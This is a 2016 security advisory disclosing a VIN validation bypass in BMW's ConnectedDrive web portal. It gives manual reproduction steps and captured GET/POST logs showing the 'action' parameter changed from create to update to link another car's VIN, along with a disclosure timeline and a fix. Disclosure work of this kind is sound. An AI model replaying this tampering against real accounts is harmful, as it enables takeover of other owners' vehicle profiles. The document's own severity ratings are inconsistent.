Document Title:
===============
BMW ConnectedDrive - (Update) VIN Session Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1736

Vulnerability Magazine: http://magazine.vulnerability-db.com/?q=articles/2016/07/07/bmw-core-web-portal-connecteddrive-exploitation-car-configurations

News|Press Article(s):
http://www.zdnet.com/article/hackers-can-tamper-with-car-registration-through-bmw-connected-car-portal/
http://news.softpedia.com/news/zero-days-in-bmw-web-portal-let-hackers-tamper-with-customer-cars-506103.shtml
http://www.heise.de/security/meldung/BMWs-ConnectedDrive-ist-loechrig-3262756.html
http://thehackernews.com/2016/07/bmw-hacking-smart-car.html
http://securityaffairs.co/wordpress/49149/hacking/bmw-connecteddrive-hacking.html


Release Date:
=============
2016-07-06


Vulnerability Laboratory ID (VL-ID):
====================================
1736


Common Vulnerability Scoring System:
====================================
6


Product & Service Introduction:
===============================
Free to do what you really want. With the services & apps from BMW ConnectedDrive, which connect you to everything that is 
important to you. More comfort, the BMW ConnectedDrive driver assistance systems - so you can concentrate on the essentials. 
You have the choice: tour guide, entertainer or guardian angels - who will accompany you on your ride, you decide.

(Copy of the Vendor Homepage: http://www.bmw.de/de/topics/faszination-bmw/connecteddrive/ubersicht.html )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a session validation and approval web vulnerability in the official BMW ConnectDrive web-application.


Vulnerability Disclosure Timeline:
==================================
2016-02-17: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2016-02-18: Vendor Notification (BMW Security Team)
2016-04-02: Vendor Response/Feedback (BMW Security Team)
2016-07-07: Public Disclosure (Vulnerability Laboratory)
2016-08-01: Vendor Fix/Patchk (BMW Service Developer Team)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A session validation approval web vulnerability has been discovered in the official BMW ConnectedDrive online service web-application.
The vulnerability allows remote attackers to manipulate specific configured parameters to compromise the affected web-application service.

VIN := vehicle Identification Number
A vehicle identification number, commonly abbreviated to VIN, or chassis number, is a unique code including a serial number, used by the 
automotive industry to identify individual motor vehicles, towed vehicles, motorcycles, scooters and mopeds as defined in ISO 3833.

The vulnerability is located in the VIN adding procedure. Remote attackers are able to bypass the secure validation approval of the VIN 
when processing to create it. Basically the validation does not allow to add an non exisiting number to the interface configuration to 
prevent different typ of errors or issues. In case of the adding procedure the request approve via action - add the context. Remote attackers 
are able to change with a live session tamper the action information to create or update. Thus allows an attacker to bypass the invalid VIN 
exception to add a new configuration finally. 

In the next step the attacker registeres the connecteddrive application with the account and the VIN. Thus interaction results in the takeover 
of other vehicle identification numbers to view or manipulate the configuration.

In a first GET method request the attacker opens the module to process a new vin. Then the attacker changes the create action value to 
update to perform the bypass in the second follow-up update vin POST method request. After that the attacker can logout of the application 
and use the connecteddrive via sync to access the others car configuration without authentication. The vin is get linked to a non protected 
point of the portal were no further authentications are required for interaction. After that interaction the attack has control of the 
info-tainment system with the customized bmw model car configuration. The connecteddrive allows to protect the profile by a pin, that 
can be synced by an attacker to the new account to easily access the info-trainment system profile.

The security risk of the session validation vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.0. 
Exploitation of the session validation web vulnerability requires a low privileged web-application user account and no user interaction. 
Successful exploitation of the vulnerability results in a compromise of registered or valid vehicle identification numbers via connecteddrive.

Request Method(s):
				[+] POST/GET

Vulnerable Module(s):
				[+] Add VIN

Vulnerable Parameter(s):
				[+] action - add, update or create

Affected Module(s):
				[+] VIN - Konfiguration to Add/Remove Vehicle


Proof of Concept (PoC):
=======================
The session validation web vulnerability can be exploited by remote attackers without user interaction and with low privileged web-application user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the web-application of bmw connecteddrive (https://www.bmw-connecteddrive.co.uk/cdp/) and login
2. Surf to the My Settings module of the service
3. Start the session tamper and include a new random VIN
4. Save the requesst and manipulate in the session tamper the add value to create
5. Continue to process the GET request after it
6. Now, the module opens and the restriction with the vehicle Identification Number approval is bypassed
7. Now you can add your own VIN to the interface to create another car with the same VIN
8. Successful reproduce of the web-application vulnerability that affects the bmw car connecteddrive!

Note: The issue has not impact to the physical driver security. Affected is the Info-tainment system with connecteddrive and the web portal api.


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/vehicle?vin= 
Mime Type[image/png]
   Request Header:
      Host[www.bmw-connecteddrive.co.uk]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Referer[https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/vehicleAdd]
      Cookie[locale=en_GB; CookieDisclaimer=true; JSESSIONID=41144e45b60522b8dd926dc6a46f.1]
      Connection[keep-alive]
   Response Header:
      Date[Thu, 18 Feb 2016 11:10:23 GMT]
      Expires[Thu, 18 Feb 2016 11:11:23 GMT]
      Set-Cookie[locale=en_GB; Expires=Fri, 17-Feb-2017 11:10:23 GMT
JSESSIONID=41144e45b60522b8dd926dc6a46f.1; Path=/cdp/release/internet; Secure; HttpOnly]
      Keep-Alive[timeout=5, max=98]
      Connection[Keep-Alive]

Note: In the first request the attacker opens the module to process a new vin.

Status: 200[OK]
POST https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/vehicleAdd 
Mime Type[text/html]
   Request Header:
      Host[www.bmw-connecteddrive.co.uk]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/vehicleAdd]
      Cookie[locale=en_GB; CookieDisclaimer=true; JSESSIONID=41144e45b60522b8dd926dc6a46f.1]
      Connection[keep-alive]
   POST-Daten:
      action[create to update]
      vin[]
      licenseplate[31337+%3B%29]
      activMethod[agreement]
      agb[View]
   Response Header:
      Date[Thu, 18 Feb 2016 11:10:40 GMT]
      Content-Type[text/html;charset=UTF-8]
      Set-Cookie[locale=en_GB; Expires=Fri, 17-Feb-2017 11:10:40 GMT 
	JSESSIONID=41144e45b60522b8dd926dc6a46f.1; Path=/cdp/release/internet; Secure; HttpOnly]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]

Note: In the second request the attacker changes the create action value to update to perform the bypass.
After that the attacker can logout of the application and use the connecteddrive via sync to access the 
others car configuration without authentication. The vin is get linked to a non protected point of the 
portal were no further authentications are required for interaction. After that interaction the attack 
has control of the info-tainment system with the customized bmw model car configuration.


Reference(s):
https://www.bmw-connecteddrive.co.uk/
https://www.bmw-connecteddrive.co.uk/cdp/
https://www.bmw-connecteddrive.co.uk/cdp/release/
https://www.bmw-connecteddrive.co.uk/cdp/release/internet/
https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/
https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/vehicle?vin=



Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure approval of the action create/update/add request in the `/cdp/release/internet/servlet/vehicleAdd` module.
Setup a secure session validation that approves the request to deny unauthorized activities with invalid, compromised or manipulated vehicle identification numbers.


Security Risk:
==============
The security risk of the session validation and approval web vulnerability in the bmw connectdrive web-application is estimated as high. (CVSS 6.0)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@vulnerability-lab.com) [www.vulnerability-lab.com]


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